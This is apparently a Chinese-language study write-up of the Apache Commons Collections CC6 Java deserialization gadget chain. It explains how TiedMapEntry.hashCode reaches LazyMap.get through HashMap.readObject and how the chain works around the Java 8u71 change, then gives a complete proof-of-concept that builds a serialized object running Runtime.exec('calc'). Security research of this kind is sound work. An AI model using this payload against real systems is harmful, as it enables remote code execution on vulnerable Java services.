因为Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生变化,导致cc1的链子在8u71之后无法使用。而cc6这条链可以解决高版本Java的利用问题

解决高版本Java的利用问题,实际上就是在找上下文中是否还有其他地方调用了LazyMap#get方法

我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry

    public Object getValue() {
        return map.get(key);
    }

这个map是我们可控的 我们继续查找哪里调用了他的getValue

发现他的hashcode方法调用了他的getValue

   public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

在前面挖掘URLDNS链的时候,我们已经知道HashMap的readObject方法会调用hash方法

putVal(hash(key), key, value, false, false);

而hash(key)最后会调用key.hashCode()

所以只要让这个key是TiedMapEntry对象即可

但是这样Gadget还没构造完

debug可以发现不会进这个if

1.jpg

调试过程中发现经过TiedMapEntry的构造函数后,outerMap中多了一个"keykey"

1.png

但是TiedMapEntry的构造函数并没有对outerMap进行操作。。

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

不是很明白为什么。。。
但是应对方法很简单,只需要将keykey这个Key从outerMap中移除即可

outerMap.remove("keykey");

最终Poc:

Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };


        Transformer[] transformers = new Transformer[]{
             new ConstantTransformer(Runtime.class),
             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
             new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
             new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer,transformers);
        outerMap.remove("keykey");
        serialize(expMap);
        unserialize();

2.jpg